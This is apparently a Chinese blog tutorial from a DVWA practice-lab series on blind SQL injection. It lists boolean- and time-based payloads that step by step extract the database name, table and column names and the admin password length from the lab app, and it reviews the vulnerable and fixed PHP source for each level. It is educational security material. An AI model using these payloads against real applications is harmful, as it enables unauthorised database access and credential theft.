【工具-DVWA】DVWA渗透系列八:SQL Injection(Blind)

前言

DVWA安装使用介绍,见:【工具-DVWA】DVWA的安装和使用

本渗透系列包含最新DVWA的14个渗透测试样例:

1.Brute Force(暴力破解)                    
2.Command Injection(命令注入)
3.CSRF(跨站请求伪造)                        
4.File Inclusion(文件包含)
5.File Upload(文件上传)                    
6.Insecure CAPTCHA(不安全的验证码)
7.SQL Injection(SQL注入)                    
8.SQL Injection(Blind)(SQL盲注)
9.Weak Session IDs(有问题的会话ID)                
10.XSS(DOM)(DOM型xss)
11.XSS(ref)(反射型xss)                    
12.XSS(Stored)(存储型xss)
13.CSP Bypass(Content Security Policy内容安全策略,旁路/绕过)    
14.JavaScript​​​​​​​

安全级别分低、中、高、安全四个级别来分析SQL Injection(Blind)的渗透测试过程。

【工具-DVWA】DVWA渗透系列八:SQL Injection(Blind)_第1张图片

1 基础知识

  • SQL Injection(Blind)-SQL盲注

相对于正常的SQL注入,盲注是无法直接看到注入结果,只能通过特殊测试手段去猜解。

  • 盲注过程
  1. 判断是否有SQL注入漏洞
  2. 获取当前数据库
  3. 获取数据库中的表
  4. 获取表中的字段名
  5. 获取表中的数据
  • 常用MySQL注入函数
  1. length:获取查询结果的长度
  2. ascii:获取某个字符的10进制的值
  3. substr:从结果中截取某个范围的字符
  4. databse:获取当前数据库名
  5. if(逻辑表达式,true执行,false执行):三元表达式
  6. sleep:休眠测试

2 Low+Medium+High

由于四种级别的处理方式基本和SQL注入里的相似,所以合并为一个小节,主要关注盲注的渗透过程。

2.1 渗透测试

  • 确认有SQL注入漏洞,使用【#】截断后续SQL语句
1' and 1=1 #
或者
1' and sleep(5) #

【工具-DVWA】DVWA渗透系列八:SQL Injection(Blind)_第2张图片

  • 获取当前数据库:dvwa

第一步:获取数据库名的长度

1' and length(database())=3 #    Missing
1' and length(database())=4 #    Exist
或
1' and if(length(database())=3,sleep(5),1) #    立即返回结果
1' and if(length(database())=4,sleep(5),1) #    延迟返回结果

【工具-DVWA】DVWA渗透系列八:SQL Injection(Blind)_第3张图片

【工具-DVWA】DVWA渗透系列八:SQL Injection(Blind)_第4张图片

第二步:获取数据库名:依次获取库名的每个字符的值

可以采用二分查找来选择范围判断数字,最终范围缩小到一个值(按范围48-57:数字;65-90:大写字母;97-122:小写字母)

1' and ascii(substr(databse(),1,1))<97 #        Missing
1' and ascii(substr(databse(),1,1))<110 #       Exist
......
1' and ascii(substr(databse(),1,1))<100 #       Missing
1' and ascii(substr(databse(),1,1))>100 #       Missing--first code:d
......
1' and ascii(substr(database(),2,1))=118 #      Exist--second code:v
......
1' and ascii(substr(database(),3,1))=119 #      Exist--third code:w
......
1' and ascii(substr(database(),4,1))=97 #       Exist--fourth code:a
  • 获取数据库中的表

第一步,获取库中表的数量:得出数量为2

1' and (select count(table_name) from information_schema.tables where table_schema=database())=1 #    Missing
1' and (select count(table_name) from information_schema.tables where table_schema=database())=2 #    Exist   

第二步,获取各个表名的长度:类似获取库名长度

1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 #

第三步,猜解各个表名:类似猜解库名

1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=103 #

最终猜解出两个表名:guestbook、users

  • 获取表中的字段名

第一步,获取表中字段数量:得出数量为8个

1' and (select count(column_name) from information_schema.columns where table_name= 'users')=8 #

第二步,获取每个字段名长度:类似获取表名长度

1' and length(substr((select column_name from information_schema.columns where table_name= 'users' limit 0,1),1))=7 # 

第三步,猜解每个字段的每个字符:

1' AND ASCII(SUBSTR((SELECT column_name FROM information_schema.columns WHERE table_schema=DATABASE() AND table_name='users'LIMIT 1),1,1))=117 #

最终可以得到每个字段的每个字符(最好还是用sqlmap等注入工具来做,不然太多了......,后续会补充使用sqlmap盲注文章)

  • 获取表中的数据

如:获取admin的密码字段长度是多少,然后在依次猜解每个字符是什么。

1' AND LENGTH(SUBSTR((SELECT PASSWORD FROM users WHERE USER='admin' LIMIT 0,1),1))=32 #

2.2 源码分析

  • Low:照旧,没有任何安全处理方式。
  • Medium:使用了mysql_real_escape_string,对特殊符号\x00,\n,\r,\,’,”,\x1a进行转义,所以可以采用Hex编码绕过。
$id = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $id )
  • High:弹框式,对盲注工具会有干扰,手动测试无影响;查询无结果,随机休眠0秒或2-4秒,对Sleep测试方式会有干扰;
$id = $_COOKIE[ 'id' ];

if( rand( 0, 5 ) == 3 ) {
	sleep( rand( 2, 4 ) );
}		

3 Impossible

源码分析:采用了PDO的方式处理SQL请求,数据与逻辑分离,等同于Java里的预处理。

$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
$data->bindParam( ':id', $id, PDO::PARAM_INT );
$data->execute();

4 总结

还是一句话:没有采用预处理方式的,都可能存在SQL注入漏洞,黑名单总有可能被绕过!

 

 

 


爱家人,爱生活,爱设计,爱编程,拥抱精彩人生!

你可能感兴趣的:(安全,工具)